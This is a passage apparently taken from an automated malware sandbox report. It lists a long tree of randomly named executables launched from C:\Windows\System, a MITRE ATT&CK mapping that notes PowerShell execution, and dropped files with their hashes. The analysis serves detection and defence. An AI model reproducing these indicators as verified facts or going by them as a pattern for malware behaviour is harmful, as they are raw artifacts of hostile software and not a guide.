  C:\Windows\System\Dqifibl.exe
  2⤵
  PID:7764
- C:\Windows\System\LpBjJAP.exe
  C:\Windows\System\LpBjJAP.exe
  2⤵
  PID:7912
- C:\Windows\System\WdHxaBL.exe
  C:\Windows\System\WdHxaBL.exe
  2⤵
  PID:4316
- C:\Windows\System\BGfmjYw.exe
  C:\Windows\System\BGfmjYw.exe
  2⤵
  PID:8196
- C:\Windows\System\rpjKhyS.exe
  C:\Windows\System\rpjKhyS.exe
  2⤵
  PID:8212
- C:\Windows\System\TLyfNPb.exe
  C:\Windows\System\TLyfNPb.exe
  2⤵
  PID:8228
- C:\Windows\System\LWDzSNk.exe
  C:\Windows\System\LWDzSNk.exe
  2⤵
  PID:8244
- C:\Windows\System\NNXZtzJ.exe
  C:\Windows\System\NNXZtzJ.exe
  2⤵
  PID:8264
- C:\Windows\System\DSZDPzK.exe
  C:\Windows\System\DSZDPzK.exe
  2⤵
  PID:8280
- C:\Windows\System\scFlrbj.exe
  C:\Windows\System\scFlrbj.exe
  2⤵
  PID:8296
- C:\Windows\System\bgrnRFo.exe
  C:\Windows\System\bgrnRFo.exe
  2⤵
  PID:8312
- C:\Windows\System\HMqiBzD.exe
  C:\Windows\System\HMqiBzD.exe
  2⤵
  PID:8328
- C:\Windows\System\CgCCPkc.exe
  C:\Windows\System\CgCCPkc.exe
  2⤵
  PID:8344
- C:\Windows\System\BTXMwdR.exe
  C:\Windows\System\BTXMwdR.exe
  2⤵
  PID:8360
- C:\Windows\System\YPvoUwx.exe
  C:\Windows\System\YPvoUwx.exe
  2⤵
  PID:8376
- C:\Windows\System\puzUjwQ.exe
  C:\Windows\System\puzUjwQ.exe
  2⤵
  PID:8396
- C:\Windows\System\srowhMV.exe
  C:\Windows\System\srowhMV.exe
  2⤵
  PID:8412
- C:\Windows\System\WBTBWZB.exe
  C:\Windows\System\WBTBWZB.exe
  2⤵
  PID:8428
- C:\Windows\System\tSBhWTU.exe
  C:\Windows\System\tSBhWTU.exe
  2⤵
  PID:8444
- C:\Windows\System\QqZnubR.exe
  C:\Windows\System\QqZnubR.exe
  2⤵
  PID:8460
- C:\Windows\System\yribcHQ.exe
  C:\Windows\System\yribcHQ.exe
  2⤵
  PID:8508
- C:\Windows\System\isKlBCB.exe
  C:\Windows\System\isKlBCB.exe
  2⤵
  PID:8524
- C:\Windows\System\ATLSKuF.exe
  C:\Windows\System\ATLSKuF.exe
  2⤵
  PID:8540
- C:\Windows\System\crTAcXm.exe
  C:\Windows\System\crTAcXm.exe
  2⤵
  PID:8556
- C:\Windows\System\bPArpjv.exe
  C:\Windows\System\bPArpjv.exe
  2⤵
  PID:8572
- C:\Windows\System\PkJIXVv.exe
  C:\Windows\System\PkJIXVv.exe
  2⤵
  PID:8588
- C:\Windows\System\qbCbhoi.exe
  C:\Windows\System\qbCbhoi.exe
  2⤵
  PID:8604
- C:\Windows\System\mIwgPdl.exe
  C:\Windows\System\mIwgPdl.exe
  2⤵
  PID:8620
- C:\Windows\System\zywFnlg.exe
  C:\Windows\System\zywFnlg.exe
  2⤵
  PID:8636
- C:\Windows\System\frTztSe.exe
  C:\Windows\System\frTztSe.exe
  2⤵
  PID:8652
- C:\Windows\System\jvuwcDd.exe
  C:\Windows\System\jvuwcDd.exe
  2⤵
  PID:8668
- C:\Windows\System\FsiYhPG.exe
  C:\Windows\System\FsiYhPG.exe
  2⤵
  PID:8684
- C:\Windows\System\JyEOfHM.exe
  C:\Windows\System\JyEOfHM.exe
  2⤵
  PID:8700
- C:\Windows\System\wfZNuGD.exe
  C:\Windows\System\wfZNuGD.exe
  2⤵
  PID:8716
- C:\Windows\System\OvRZgPK.exe
  C:\Windows\System\OvRZgPK.exe
  2⤵
  PID:8732
- C:\Windows\System\YUvcMoX.exe
  C:\Windows\System\YUvcMoX.exe
  2⤵
  PID:8748
- C:\Windows\System\ylCJyBL.exe
  C:\Windows\System\ylCJyBL.exe
  2⤵
  PID:8764
- C:\Windows\System\BKNPzvM.exe
  C:\Windows\System\BKNPzvM.exe
  2⤵
  PID:8780
- C:\Windows\System\nNWeVpy.exe
  C:\Windows\System\nNWeVpy.exe
  2⤵
  PID:8796
- C:\Windows\System\LdSBDfo.exe
  C:\Windows\System\LdSBDfo.exe
  2⤵
  PID:8812
- C:\Windows\System\UJUBVqa.exe
  C:\Windows\System\UJUBVqa.exe
  2⤵
  PID:8828
- C:\Windows\System\PWTDSOt.exe
  C:\Windows\System\PWTDSOt.exe
  2⤵
  PID:8844
- C:\Windows\System\zwODOTj.exe
  C:\Windows\System\zwODOTj.exe
  2⤵
  PID:8860
- C:\Windows\System\bpMXplE.exe
  C:\Windows\System\bpMXplE.exe
  2⤵
  PID:8876
- C:\Windows\System\qqglRsW.exe
  C:\Windows\System\qqglRsW.exe
  2⤵
  PID:8892
- C:\Windows\System\cdmtdAV.exe
  C:\Windows\System\cdmtdAV.exe
  2⤵
  PID:8908
- C:\Windows\System\ylEwQXc.exe
  C:\Windows\System\ylEwQXc.exe
  2⤵
  PID:8924
- C:\Windows\System\VHmncQJ.exe
  C:\Windows\System\VHmncQJ.exe
  2⤵
  PID:8940
- C:\Windows\System\qPuqCvn.exe
  C:\Windows\System\qPuqCvn.exe
  2⤵
  PID:8956
- C:\Windows\System\IzjVJEk.exe
  C:\Windows\System\IzjVJEk.exe
  2⤵
  PID:8972
- C:\Windows\System\yuBGhhp.exe
  C:\Windows\System\yuBGhhp.exe
  2⤵
  PID:8988
- C:\Windows\System\BfwnATL.exe
  C:\Windows\System\BfwnATL.exe
  2⤵
  PID:9004
- C:\Windows\System\JRjpyRT.exe
  C:\Windows\System\JRjpyRT.exe
  2⤵
  PID:9020
- C:\Windows\System\PLeAIya.exe
  C:\Windows\System\PLeAIya.exe
  2⤵
  PID:9036
- C:\Windows\System\SPFhmTl.exe
  C:\Windows\System\SPFhmTl.exe
  2⤵
  PID:9052
- C:\Windows\System\WWEsGey.exe
  C:\Windows\System\WWEsGey.exe
  2⤵
  PID:9068
- C:\Windows\System\uLipnHJ.exe
  C:\Windows\System\uLipnHJ.exe
  2⤵
  PID:9088
- C:\Windows\System\NSAozSn.exe
  C:\Windows\System\NSAozSn.exe
  2⤵
  PID:9104
- C:\Windows\System\TteTBaT.exe
  C:\Windows\System\TteTBaT.exe
  2⤵
  PID:9120
- C:\Windows\System\yLujNKK.exe
  C:\Windows\System\yLujNKK.exe
  2⤵
  PID:9136
- C:\Windows\System\Hdpujpg.exe
  C:\Windows\System\Hdpujpg.exe
  2⤵
  PID:9152
- C:\Windows\System\qMjyjXr.exe
  C:\Windows\System\qMjyjXr.exe
  2⤵
  PID:9168
- C:\Windows\System\SvhdPAB.exe
  C:\Windows\System\SvhdPAB.exe
  2⤵
  PID:9184
- C:\Windows\System\UFuxjqc.exe
  C:\Windows\System\UFuxjqc.exe
  2⤵
  PID:9200
- C:\Windows\System\QSGyDfm.exe
  C:\Windows\System\QSGyDfm.exe
  2⤵
  PID:8004
- C:\Windows\System\hPBYNWF.exe
  C:\Windows\System\hPBYNWF.exe
  2⤵
  PID:2836
- C:\Windows\System\qyiFfDo.exe
  C:\Windows\System\qyiFfDo.exe
  2⤵
  PID:8132
- C:\Windows\System\ocwqdNr.exe
  C:\Windows\System\ocwqdNr.exe
  2⤵
  PID:8084
- C:\Windows\System\jqbYPWt.exe
  C:\Windows\System\jqbYPWt.exe
  2⤵
  PID:8276
- C:\Windows\System\cSryodW.exe
  C:\Windows\System\cSryodW.exe
  2⤵
  PID:8404
- C:\Windows\System\PRmoIuL.exe
  C:\Windows\System\PRmoIuL.exe
  2⤵
  PID:8436
- C:\Windows\System\LJfsufo.exe
  C:\Windows\System\LJfsufo.exe
  2⤵
  PID:8236
- C:\Windows\System\jayvETn.exe
  C:\Windows\System\jayvETn.exe
  2⤵
  PID:8372
- C:\Windows\System\iKFmcZX.exe
  C:\Windows\System\iKFmcZX.exe
  2⤵
  PID:8480
- C:\Windows\System\WokeNLj.exe
  C:\Windows\System\WokeNLj.exe
  2⤵
  PID:8292
- C:\Windows\System\CFleQkQ.exe
  C:\Windows\System\CFleQkQ.exe
  2⤵
  PID:8356
- C:\Windows\System\VKNQpxh.exe
  C:\Windows\System\VKNQpxh.exe
  2⤵
  PID:8420
- C:\Windows\System\QKovuJW.exe
  C:\Windows\System\QKovuJW.exe
  2⤵
  PID:8484
- C:\Windows\System\KCraKRp.exe
  C:\Windows\System\KCraKRp.exe
  2⤵
  PID:8500
- C:\Windows\System\KfuQIGy.exe
  C:\Windows\System\KfuQIGy.exe
  2⤵
  PID:8564
- C:\Windows\System\HWWHeuO.exe
  C:\Windows\System\HWWHeuO.exe
  2⤵
  PID:8692
- C:\Windows\System\MQAYNOq.exe
  C:\Windows\System\MQAYNOq.exe
  2⤵
  PID:8664
- C:\Windows\System\QCXBxOD.exe
  C:\Windows\System\QCXBxOD.exe
  2⤵
  PID:8220
- C:\Windows\System\qcONOZy.exe
  C:\Windows\System\qcONOZy.exe
  2⤵
  PID:8260
- C:\Windows\System\ZJliYlJ.exe
  C:\Windows\System\ZJliYlJ.exe
  2⤵
  PID:8516
- C:\Windows\System\kdtVJBl.exe
  C:\Windows\System\kdtVJBl.exe
  2⤵
  PID:8856
- C:\Windows\System\GxeBmCq.exe
  C:\Windows\System\GxeBmCq.exe
  2⤵
  PID:8552
- C:\Windows\System\byEQXfY.exe
  C:\Windows\System\byEQXfY.exe
  2⤵
  PID:8616
- C:\Windows\System\SqsiYXB.exe
  C:\Windows\System\SqsiYXB.exe
  2⤵
  PID:8680
- C:\Windows\System\SArHsbM.exe
  C:\Windows\System\SArHsbM.exe
  2⤵
  PID:8952
- C:\Windows\System\OKNBxKU.exe
  C:\Windows\System\OKNBxKU.exe
  2⤵
  PID:8916
- C:\Windows\System\LYCbIRU.exe
  C:\Windows\System\LYCbIRU.exe
  2⤵
  PID:9012
- C:\Windows\System\iCHRgJI.exe
  C:\Windows\System\iCHRgJI.exe
  2⤵
  PID:8776
- C:\Windows\System\QkXlgia.exe
  C:\Windows\System\QkXlgia.exe
  2⤵
  PID:8996
- C:\Windows\System\TEtTWGJ.exe
  C:\Windows\System\TEtTWGJ.exe
  2⤵
  PID:9080
- C:\Windows\System\SiBRNHG.exe
  C:\Windows\System\SiBRNHG.exe
  2⤵
  PID:9060
- C:\Windows\System\PsOtXlo.exe
  C:\Windows\System\PsOtXlo.exe
  2⤵
  PID:9176
- C:\Windows\System\FTcUaEx.exe
  C:\Windows\System\FTcUaEx.exe
  2⤵
  PID:8808
- C:\Windows\System\KWMuZZA.exe
  C:\Windows\System\KWMuZZA.exe
  2⤵
  PID:8900
- C:\Windows\System\owiwQEm.exe
  C:\Windows\System\owiwQEm.exe
  2⤵
  PID:9128
- C:\Windows\System\nvAbGPV.exe
  C:\Windows\System\nvAbGPV.exe
  2⤵
  PID:7748
- C:\Windows\System\gEVSxcb.exe
  C:\Windows\System\gEVSxcb.exe
  2⤵
  PID:8272
- C:\Windows\System\HUKJFbb.exe
  C:\Windows\System\HUKJFbb.exe
  2⤵
  PID:9100
- C:\Windows\System\MwpxoDg.exe
  C:\Windows\System\MwpxoDg.exe
  2⤵
  PID:7372
- C:\Windows\System\TVynrDo.exe
  C:\Windows\System\TVynrDo.exe
  2⤵
  PID:8368
- C:\Windows\System\dMtjJyN.exe
  C:\Windows\System\dMtjJyN.exe
  2⤵
  PID:8472
- C:\Windows\System\fENJBTI.exe
  C:\Windows\System\fENJBTI.exe
  2⤵
  PID:8476
- C:\Windows\System\RmbRFTO.exe
  C:\Windows\System\RmbRFTO.exe
  2⤵
  PID:8456
- C:\Windows\System\YbaMPtT.exe
  C:\Windows\System\YbaMPtT.exe
  2⤵
  PID:8452
- C:\Windows\System\WsDfIdN.exe
  C:\Windows\System\WsDfIdN.exe
  2⤵
  PID:8728
- C:\Windows\System\CuWTxuo.exe
  C:\Windows\System\CuWTxuo.exe
  2⤵
  PID:8888
- C:\Windows\System\QejiPHK.exe
  C:\Windows\System\QejiPHK.exe
  2⤵
  PID:8648
- C:\Windows\System\TzGibQA.exe
  C:\Windows\System\TzGibQA.exe
  2⤵
  PID:9016
- C:\Windows\System\VxvRgpR.exe
  C:\Windows\System\VxvRgpR.exe
  2⤵
  PID:8760
- C:\Windows\System\cmPWYAo.exe
  C:\Windows\System\cmPWYAo.exe
  2⤵
  PID:9064
- C:\Windows\System\CjbiDLM.exe
  C:\Windows\System\CjbiDLM.exe
  2⤵
  PID:8968
- C:\Windows\System\ispYwxH.exe
  C:\Windows\System\ispYwxH.exe
  2⤵
  PID:8948
- C:\Windows\System\AqQcetO.exe
  C:\Windows\System\AqQcetO.exe
  2⤵
  PID:9148
- C:\Windows\System\FZgHejQ.exe
  C:\Windows\System\FZgHejQ.exe
  2⤵
  PID:9208
- C:\Windows\System\TDEtKFI.exe
  C:\Windows\System\TDEtKFI.exe
  2⤵
  PID:8340
- C:\Windows\System\ppDhvzd.exe
  C:\Windows\System\ppDhvzd.exe
  2⤵
  PID:8308
- C:\Windows\System\JzUvSFu.exe
  C:\Windows\System\JzUvSFu.exe
  2⤵
  PID:8964
- C:\Windows\System\UxKoEWQ.exe
  C:\Windows\System\UxKoEWQ.exe
  2⤵
  PID:8208
- C:\Windows\System\Xvxsnru.exe
  C:\Windows\System\Xvxsnru.exe
  2⤵
  PID:8532
- C:\Windows\System\aIwTUJB.exe
  C:\Windows\System\aIwTUJB.exe
  2⤵
  PID:8600
- C:\Windows\System\rAXqvEY.exe
  C:\Windows\System\rAXqvEY.exe
  2⤵
  PID:9032
- C:\Windows\System\BhGVZZN.exe
  C:\Windows\System\BhGVZZN.exe
  2⤵
  PID:9096
- C:\Windows\System\ycfAgUS.exe
  C:\Windows\System\ycfAgUS.exe
  2⤵
  PID:8904
- C:\Windows\System\gqTBSVG.exe
  C:\Windows\System\gqTBSVG.exe
  2⤵
  PID:2780
- C:\Windows\System\YpkstDT.exe
  C:\Windows\System\YpkstDT.exe
  2⤵
  PID:8288
- C:\Windows\System\VwRDhlu.exe
  C:\Windows\System\VwRDhlu.exe
  2⤵
  PID:9196
- C:\Windows\System\COpSoIN.exe
  C:\Windows\System\COpSoIN.exe
  2⤵
  PID:8712
- C:\Windows\System\mZvVKSW.exe
  C:\Windows\System\mZvVKSW.exe
  2⤵
  PID:7276
- C:\Windows\System\VaRaxAE.exe
  C:\Windows\System\VaRaxAE.exe
  2⤵
  PID:8660
- C:\Windows\System\zAydYIu.exe
  C:\Windows\System\zAydYIu.exe
  2⤵
  PID:8872
- C:\Windows\System\bCtRefI.exe
  C:\Windows\System\bCtRefI.exe
  2⤵
  PID:8584
- C:\Windows\System\OKAEDVb.exe
  C:\Windows\System\OKAEDVb.exe
  2⤵
  PID:8336
- C:\Windows\System\pANRZHN.exe
  C:\Windows\System\pANRZHN.exe
  2⤵
  PID:8568
- C:\Windows\System\upRHxMG.exe
  C:\Windows\System\upRHxMG.exe
  2⤵
  PID:9228
- C:\Windows\System\BqGLJrH.exe
  C:\Windows\System\BqGLJrH.exe
  2⤵
  PID:9244
- C:\Windows\System\mBzBfmI.exe
  C:\Windows\System\mBzBfmI.exe
  2⤵
  PID:9264
- C:\Windows\System\eriLyTz.exe
  C:\Windows\System\eriLyTz.exe
  2⤵
  PID:9312
- C:\Windows\System\dtdpSLk.exe
  C:\Windows\System\dtdpSLk.exe
  2⤵
  PID:9336
- C:\Windows\System\aWpmdUh.exe
  C:\Windows\System\aWpmdUh.exe
  2⤵
  PID:9352
- C:\Windows\System\WzqwJCX.exe
  C:\Windows\System\WzqwJCX.exe
  2⤵
  PID:9368
- C:\Windows\System\gawBonE.exe
  C:\Windows\System\gawBonE.exe
  2⤵
  PID:9384
- C:\Windows\System\aRxvvtS.exe
  C:\Windows\System\aRxvvtS.exe
  2⤵
  PID:9400
- C:\Windows\System\VugVcNT.exe
  C:\Windows\System\VugVcNT.exe
  2⤵
  PID:9416
- C:\Windows\System\bytTUzw.exe
  C:\Windows\System\bytTUzw.exe
  2⤵
  PID:9432
- C:\Windows\System\jGuqajs.exe
  C:\Windows\System\jGuqajs.exe
  2⤵
  PID:9568
- C:\Windows\System\BLRNrTT.exe
  C:\Windows\System\BLRNrTT.exe
  2⤵
  PID:9592
- C:\Windows\System\fCbDrdD.exe
  C:\Windows\System\fCbDrdD.exe
  2⤵
  PID:9612
- C:\Windows\System\MFCEsgr.exe
  C:\Windows\System\MFCEsgr.exe
  2⤵
  PID:9628
- C:\Windows\System\bqMtRRG.exe
  C:\Windows\System\bqMtRRG.exe
  2⤵
  PID:9644
- C:\Windows\System\LPwpZIo.exe
  C:\Windows\System\LPwpZIo.exe
  2⤵
  PID:9664
- C:\Windows\System\VcqGCnF.exe
  C:\Windows\System\VcqGCnF.exe
  2⤵
  PID:9680
- C:\Windows\System\vYCnRNG.exe
  C:\Windows\System\vYCnRNG.exe
  2⤵
  PID:9696
- C:\Windows\System\uxUrlnp.exe
  C:\Windows\System\uxUrlnp.exe
  2⤵
  PID:9716
- C:\Windows\System\ocsfveN.exe
  C:\Windows\System\ocsfveN.exe
  2⤵
  PID:9732
- C:\Windows\System\VPPbcub.exe
  C:\Windows\System\VPPbcub.exe
  2⤵
  PID:9748
- C:\Windows\System\ulehtmD.exe
  C:\Windows\System\ulehtmD.exe
  2⤵
  PID:9764
- C:\Windows\System\rNrtGhM.exe
  C:\Windows\System\rNrtGhM.exe
  2⤵
  PID:9780
- C:\Windows\System\YziZfjj.exe
  C:\Windows\System\YziZfjj.exe
  2⤵
  PID:9796
- C:\Windows\System\JkKgfGQ.exe
  C:\Windows\System\JkKgfGQ.exe
  2⤵
  PID:9812
- C:\Windows\System\DvwXONQ.exe
  C:\Windows\System\DvwXONQ.exe
  2⤵
  PID:9828
- C:\Windows\System\TtRWkuc.exe
  C:\Windows\System\TtRWkuc.exe
  2⤵
  PID:9844
- C:\Windows\System\rvnFmVr.exe
  C:\Windows\System\rvnFmVr.exe
  2⤵
  PID:9860
- C:\Windows\System\bwnzRbg.exe
  C:\Windows\System\bwnzRbg.exe
  2⤵
  PID:9876
- C:\Windows\System\zUgufpK.exe
  C:\Windows\System\zUgufpK.exe
  2⤵
  PID:9892
- C:\Windows\System\uDadRml.exe
  C:\Windows\System\uDadRml.exe
  2⤵
  PID:9908
- C:\Windows\System\sTzqHTl.exe
  C:\Windows\System\sTzqHTl.exe
  2⤵
  PID:9924
- C:\Windows\System\kjEEPGH.exe
  C:\Windows\System\kjEEPGH.exe
  2⤵
  PID:9960
- C:\Windows\System\sVUeNJK.exe
  C:\Windows\System\sVUeNJK.exe
  2⤵
  PID:9976
- C:\Windows\System\BZOlMAn.exe
  C:\Windows\System\BZOlMAn.exe
  2⤵
  PID:9992
- C:\Windows\System\nGqSJvu.exe
  C:\Windows\System\nGqSJvu.exe
  2⤵
  PID:10012
- C:\Windows\System\whHvKPH.exe
  C:\Windows\System\whHvKPH.exe
  2⤵
  PID:10032
- C:\Windows\System\QuAjNLg.exe
  C:\Windows\System\QuAjNLg.exe
  2⤵
  PID:10048
- C:\Windows\System\gBbMXhn.exe
  C:\Windows\System\gBbMXhn.exe
  2⤵
  PID:10064
- C:\Windows\System\ZHMyyvF.exe
  C:\Windows\System\ZHMyyvF.exe
  2⤵
  PID:10084
- C:\Windows\System\qnARMOF.exe
  C:\Windows\System\qnARMOF.exe
  2⤵
  PID:10104
- C:\Windows\System\xClIXdw.exe
  C:\Windows\System\xClIXdw.exe
  2⤵
  PID:10120
- C:\Windows\System\NZPZTJU.exe
  C:\Windows\System\NZPZTJU.exe
  2⤵
  PID:10136
- C:\Windows\System\QbAMRtu.exe
  C:\Windows\System\QbAMRtu.exe
  2⤵
  PID:10152
- C:\Windows\System\baLFRoE.exe
  C:\Windows\System\baLFRoE.exe
  2⤵
  PID:10168
- C:\Windows\System\sUVWIVA.exe
  C:\Windows\System\sUVWIVA.exe
  2⤵
  PID:10184
- C:\Windows\System\rOOERtX.exe
  C:\Windows\System\rOOERtX.exe
  2⤵
  PID:10200
- C:\Windows\System\rnOTSFy.exe
  C:\Windows\System\rnOTSFy.exe
  2⤵
  PID:9224
- C:\Windows\System\hXthKCF.exe
  C:\Windows\System\hXthKCF.exe
  2⤵
  PID:9260
- C:\Windows\System\WpGbBkr.exe
  C:\Windows\System\WpGbBkr.exe
  2⤵
  PID:9296
- C:\Windows\System\pJlyGbB.exe
  C:\Windows\System\pJlyGbB.exe
  2⤵
  PID:9320
- C:\Windows\System\gvkFFYg.exe
  C:\Windows\System\gvkFFYg.exe
  2⤵
  PID:9360
- C:\Windows\System\OqyKZNK.exe
  C:\Windows\System\OqyKZNK.exe
  2⤵
  PID:9344
- C:\Windows\System\tZihbQF.exe
  C:\Windows\System\tZihbQF.exe
  2⤵
  PID:9408
- C:\Windows\System\GmiqlJT.exe
  C:\Windows\System\GmiqlJT.exe
  2⤵
  PID:9440
- C:\Windows\System\WXXMyLC.exe
  C:\Windows\System\WXXMyLC.exe
  2⤵
  PID:9456
- C:\Windows\System\BHQqGVi.exe
  C:\Windows\System\BHQqGVi.exe
  2⤵
  PID:9472
- C:\Windows\System\eGtgEmX.exe
  C:\Windows\System\eGtgEmX.exe
  2⤵
  PID:9476
- C:\Windows\System\hccSURF.exe
  C:\Windows\System\hccSURF.exe
  2⤵
  PID:9508
- C:\Windows\System\TWUHeHE.exe
  C:\Windows\System\TWUHeHE.exe
  2⤵
  PID:9520
- C:\Windows\System\ZubgHLR.exe
  C:\Windows\System\ZubgHLR.exe
  2⤵
  PID:9824
- C:\Windows\System\utHJsQK.exe
  C:\Windows\System\utHJsQK.exe
  2⤵
  PID:9804
- C:\Windows\System\DprTLsE.exe
  C:\Windows\System\DprTLsE.exe
  2⤵
  PID:9676
- C:\Windows\System\BAwIaay.exe
  C:\Windows\System\BAwIaay.exe
  2⤵
  PID:9608
- C:\Windows\System\cHLlYTi.exe
  C:\Windows\System\cHLlYTi.exe
  2⤵
  PID:9888
- C:\Windows\System\pTcFlav.exe
  C:\Windows\System\pTcFlav.exe
  2⤵
  PID:9920
- C:\Windows\System\RhFYMzs.exe
  C:\Windows\System\RhFYMzs.exe
  2⤵
  PID:9904
- C:\Windows\System\MnLRNWm.exe
  C:\Windows\System\MnLRNWm.exe
  2⤵
  PID:9944
- C:\Windows\System\PrijiFI.exe
  C:\Windows\System\PrijiFI.exe
  2⤵
  PID:9968
- C:\Windows\System\RNuRvgO.exe
  C:\Windows\System\RNuRvgO.exe
  2⤵
  PID:10112
- C:\Windows\System\CkLyDnn.exe
  C:\Windows\System\CkLyDnn.exe
  2⤵
  PID:10060
- C:\Windows\System\NJSTSMr.exe
  C:\Windows\System\NJSTSMr.exe
  2⤵
  PID:10116
- C:\Windows\System\nHHYsiw.exe
  C:\Windows\System\nHHYsiw.exe
  2⤵
  PID:10148
- C:\Windows\System\EALfsRQ.exe
  C:\Windows\System\EALfsRQ.exe
  2⤵
  PID:10196
- C:\Windows\System\CXLjxmq.exe
  C:\Windows\System\CXLjxmq.exe
  2⤵
  PID:10216
- C:\Windows\System\cAGtfSy.exe
  C:\Windows\System\cAGtfSy.exe
  2⤵
  PID:10232
- C:\Windows\System\KHmEGMH.exe
  C:\Windows\System\KHmEGMH.exe
  2⤵
  PID:9256
- C:\Windows\System\DbYXPiA.exe
  C:\Windows\System\DbYXPiA.exe
  2⤵
  PID:9280
- C:\Windows\System\KeQGGOR.exe
  C:\Windows\System\KeQGGOR.exe
  2⤵
  PID:9304
- C:\Windows\System\wpZoaBw.exe
  C:\Windows\System\wpZoaBw.exe
  2⤵
  PID:9376
- C:\Windows\System\vUedjDa.exe
  C:\Windows\System\vUedjDa.exe
  2⤵
  PID:9448
- C:\Windows\System\vUktKAp.exe
  C:\Windows\System\vUktKAp.exe
  2⤵
  PID:9452
- C:\Windows\System\QJKRRaj.exe
  C:\Windows\System\QJKRRaj.exe
  2⤵
  PID:9464
- C:\Windows\System\hkdUiME.exe
  C:\Windows\System\hkdUiME.exe
  2⤵
  PID:9524
- C:\Windows\System\GJcVTtp.exe
  C:\Windows\System\GJcVTtp.exe
  2⤵
  PID:9548
- C:\Windows\System\OSvdVcW.exe
  C:\Windows\System\OSvdVcW.exe
  2⤵
  PID:9576
- C:\Windows\System\MIRhqKg.exe
  C:\Windows\System\MIRhqKg.exe
  2⤵
  PID:9624
- C:\Windows\System\YNQoskD.exe
  C:\Windows\System\YNQoskD.exe
  2⤵
  PID:9660
- C:\Windows\System\OjQpkGs.exe
  C:\Windows\System\OjQpkGs.exe
  2⤵
  PID:9728
- C:\Windows\System\QBgxjzM.exe
  C:\Windows\System\QBgxjzM.exe
  2⤵
  PID:9808
- C:\Windows\System\BpjWCuB.exe
  C:\Windows\System\BpjWCuB.exe
  2⤵
  PID:9672
- C:\Windows\System\HlZVdWn.exe
  C:\Windows\System\HlZVdWn.exe
  2⤵
  PID:9988
- C:\Windows\System\gyNElaR.exe
  C:\Windows\System\gyNElaR.exe
  2⤵
  PID:10044
- C:\Windows\System\fPcxFJW.exe
  C:\Windows\System\fPcxFJW.exe
  2⤵
  PID:10028
- C:\Windows\System\VkCrwJP.exe
  C:\Windows\System\VkCrwJP.exe
  2⤵
  PID:10220
- C:\Windows\System\UugpBSw.exe
  C:\Windows\System\UugpBSw.exe
  2⤵
  PID:10092
- C:\Windows\System\XvSErLo.exe
  C:\Windows\System\XvSErLo.exe
  2⤵
  PID:10132
- C:\Windows\System\ipIHndO.exe
  C:\Windows\System\ipIHndO.exe
  2⤵
  PID:9332
- C:\Windows\System\fDNsrhx.exe
  C:\Windows\System\fDNsrhx.exe
  2⤵
  PID:9412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\CqBXGgb.exe

Filesize
2.5MB

MD5
0fc1c66694f1ba9486778fb096ac58df

SHA1
3c87ab6c937e6368cf9064dba0e0bb0b90cd9aa8

SHA256
8c88165c670e41564c683c93e9fbe7224879c668f98ed498b7f5525c98f2afab

SHA512
d90e42f3f136bbac1b5e90828ac61e0374996d887f93c3aaa10d952344b713783cf24ada70f84d4f57bda3001db50e2ee0a2b136ef25da894fddc8fba7f02210

Download Submit
C:\Windows\system\EmuhbsR.exe

Filesize
2.5MB

MD5
3be8d9ff8f57a3ec136140f628829202

SHA1
5e3a8e2e6c3b0114129b49d4c8e434bb57178c95

SHA256
bb7dfd84cb27c961cfa029d604ff98cbefdf1e6563922c6fe2f256b3c1065f4b

SHA512
f89da10790b92ab55ded5f0068555d98cec6200938507de68637307712056d26bddfb3606794f21a8518c71221695984f71283cb07238f9bfe961fe0b8585649

Download Submit
C:\Windows\system\McpGPwO.exe

Filesize
2.5MB

MD5
7ad976a73ea9441783969ba3329c2a99

SHA1
f04ce4da4d6277ed15954c0c47bb96968c6e3c0c

SHA256
ea25dd692a4c00ec9c987938b5caa34453b5380584ca99ba578f6d405beb8352

SHA512
f4af3c32360240c3b921076d991485eb5e2c8f6487807f82db4ca0645485fefd2ca587e286c7b986f8078667ceced9e3c8f614e0030bfb693cc7f3b7f7296a4c

Download Submit
C:\Windows\system\MupTNuG.exe

Filesize
2.5MB

MD5
ee503893e4286ca26e8c729a0c0de942

SHA1
0a8bd484ae797dae52b861ae4a974de09505b772

SHA256
f62dac3227f636946736b3134566b4517540f76328b69c8999432d08a59218cd

SHA512
cd1184fe797fe6c3c3f639a81982aa860c988cebd375cfd72edc7ff744a8f7b0bdecba24b1c297fb89264d205aed2bb8e2c5d93eda97139ef14d1c3b1ead4ae4

Download Submit
C:\Windows\system\NGmAwbp.exe

Filesize
2.5MB

MD5
f8495693746ada1ff2322e707e25dd9d

SHA1
a53efd254e5b98fbffcfdb302a4a1f3059420bb0

SHA256
22e76a87a5f84ab8cbddae95101345f80abca9b19feabef5668ad6b51bdc7c77

SHA512
976793ec19ecc8c09f718abd025eb6f1a45b7236005995c82541e132c0fd316a0308ce5c04d740fb4bc6fa4a3c05216b5bc039bbe2905166e9acbd4ec13207ad

Download Submit
C:\Windows\system\PpfxLWP.exe

Filesize
2.5MB

MD5
1a8521d499b8f09277027e4670ad5eb2

SHA1
5246a42aa41dd157748eda472b21db034db80a95

SHA256
0f1ec217c4a28ae348226adfa3cac51afed17b7e9e4edb50f2d58da506b2dc87

SHA512
e04c09a80e476058a0ef470320b41438060a97c8dd5a75baa8145954d97ae213fd4b6c0d622475f3dfd2d94bb5140957e9e7a3d07e8e167e35703f4ebd8bd383

Download Submit
C:\Windows\system\RkdkVSz.exe

Filesize
2.5MB

MD5
d2463240b4d2d982dc071354b7245eb3

SHA1
58111a31aa56cd4cef3d648fe2c709c1d1d9ce34

SHA256
2fe40d4d270a5528debb291ac63cf8a0e807b079823119f8cfb6983f5d4bc9b8

SHA512
d815de6c02473dce1a2414f55899c908c445974ced8d6f5d4a94b582390b23ea3537bd489c3675218e21b4f2e27e76a63b3e7739b5c7f58d84441c0859d05434

Download Submit
C:\Windows\system\UioJucY.exe

Filesize
2.5MB

MD5
ae81cf54b8cd1970a7403494cf4c31bb

SHA1
d3533254fed7f16252a796f22aa8d29bf6405d0b

SHA256
093eba5457649418beb8918dbf10d017909d5e45333d0834e5caf01cfdda758e

SHA512
89012d5344da858dbf1489786e132c15475a09f28843868dc6acc6dfb7b36c695923216025ae4d3b0cf07ed2f453d447ec630b71a2d83b9843d0e72b9448086a

Download Submit
C:\Windows\system\WHWdfbR.exe

Filesize
2.5MB

MD5
884d29dec83e2fb7d0c5e72fc9944858

SHA1
